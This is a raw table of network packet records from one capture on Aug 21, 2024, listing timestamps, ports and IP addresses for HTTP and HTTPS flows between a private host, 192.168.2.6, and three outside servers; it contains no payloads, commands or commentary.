Aug 21, 2024 08:32:17.059952021 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.059967041 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.060018063 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.060026884 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.060029030 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.060034037 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.060039043 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.060050964 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.060065031 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.060085058 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.060102940 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.060108900 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.060127974 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.060133934 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.060146093 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.060168982 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.060187101 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.060214996 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.060220957 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.060231924 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.060237885 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.060244083 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.060265064 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.060292959 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.061110973 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.061116934 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.061121941 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.061125994 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.061136007 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.061147928 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.061151028 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.061156034 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.061157942 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.061161995 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.061173916 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.061212063 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.066716909 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.066723108 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.066736937 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.066744089 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.066754103 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.066759109 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.066764116 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.066770077 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.066775084 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.066780090 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.066786051 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.066787004 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.066795111 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.066801071 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.066811085 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.066811085 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.066829920 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.066852093 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.075002909 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.075009108 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.075020075 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.075045109 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.075059891 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.075067043 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.075067997 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.075073004 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.075097084 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.075110912 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.075248957 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.075270891 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.075335979 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:17.075335979 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:17.075351000 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.075366020 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.075372934 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.075376987 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.075382948 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.075387001 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.075392962 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.075413942 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.075431108 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:17.075431108 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.075465918 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.075656891 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.075704098 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.075725079 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.075795889 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:17.075803041 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.075947046 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:17.076086044 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.076100111 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.076159954 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:17.076168060 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.076240063 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:17.076499939 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.076514959 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.076580048 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:17.076587915 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.076662064 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:17.076749086 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.076761961 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.076805115 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:17.076816082 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.076909065 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:17.077224970 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.077239990 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.077303886 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:17.077303886 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:17.077311039 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.077377081 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:17.077431917 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.077442884 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.077450037 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.077466965 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.077480078 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.077480078 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.077493906 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.077498913 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.077503920 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.077531099 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.077577114 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.077586889 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.077656031 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:17.077662945 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:17.077722073 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:17.077759027 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.077768087 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.077774048 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.077778101 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.077788115 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.077794075 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.077800035 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.077801943 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.077805042 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.077811003 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.077817917 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.077821970 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.077838898 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.077856064 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.078023911 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.078041077 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.078048944 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.078058958 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.078063965 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.078078032 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.078078985 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.078088045 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.078094959 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.078095913 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.078100920 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.078105927 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.078145981 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.078191042 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.078197956 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.078208923 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.078248978 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.078290939 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.078296900 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.078308105 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.078313112 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.078316927 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.078325033 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.078329086 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.078341007 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.078346968 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.078351974 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.078358889 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.078358889 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.078396082 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.078396082 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.078414917 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.078468084 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.078571081 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.078577995 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.078583956 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.078588963 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.078593969 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.078598976 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.078604937 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.078610897 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.078615904 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.078620911 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.078624010 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.078625917 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.078630924 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.078664064 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.078677893 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.078687906 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.078867912 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.078874111 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.078883886 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.078888893 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.078893900 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.078907967 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.078913927 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.078918934 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.078923941 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.078923941 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.078928947 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.078936100 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.078941107 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.078950882 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.078958988 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.078963995 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.078979969 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.079009056 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.079020023 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.079034090 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.079037905 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.079049110 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.079055071 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.079057932 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.079061031 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.079063892 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.079068899 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.079077005 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.079082012 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.079086065 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.079087019 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.079092026 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.079097986 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.079103947 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.079152107 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.079590082 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.079598904 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.079605103 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.079608917 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.079618931 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.079623938 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.079633951 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.079638958 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.079643965 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.079648972 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.079653025 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.079653978 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.079664946 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.079668045 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.079674006 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.079679012 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.079684973 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.079685926 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.079690933 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.079705000 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.079736948 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.079737902 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.079911947 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.079916954 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.079927921 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.079932928 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.079942942 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.079947948 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.079953909 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.079967976 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.079969883 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.079976082 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.079981089 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.079988956 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.079992056 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.079994917 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.080002069 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.080015898 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.080017090 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.080044985 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.080051899 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.080059052 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.080069065 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.080075026 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.080080032 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.080091000 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.080096960 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.080101013 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.080108881 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.080113888 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.080128908 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.080128908 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.080132008 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.080140114 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.080148935 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.080209970 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.080571890 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.080578089 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.080594063 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.080600977 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.080622911 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.080629110 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.080631018 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.080642939 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.080648899 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.080651999 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.080662012 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.080667019 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.080670118 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.080672026 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.080684900 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.080688000 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.080691099 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.080698967 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.080704927 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.080709934 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.080715895 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.080720901 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.080732107 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.080734015 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.080734015 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.080737114 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.080744028 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.080755949 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.080780029 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.080780029 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.080952883 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.080960035 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.080971003 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.080975056 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.080981016 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.081017017 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.081046104 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.081063986 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.081075907 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.081080914 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.081085920 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.081095934 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.081101894 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.081108093 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.081114054 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.081119061 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.081125975 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.081166983 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.081166983 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.081337929 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.081343889 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.081357002 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.081362963 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.081367016 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.081377983 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.081382990 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.081392050 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.081393957 CEST	80	49722	162.241.203.25	192.168.2.6
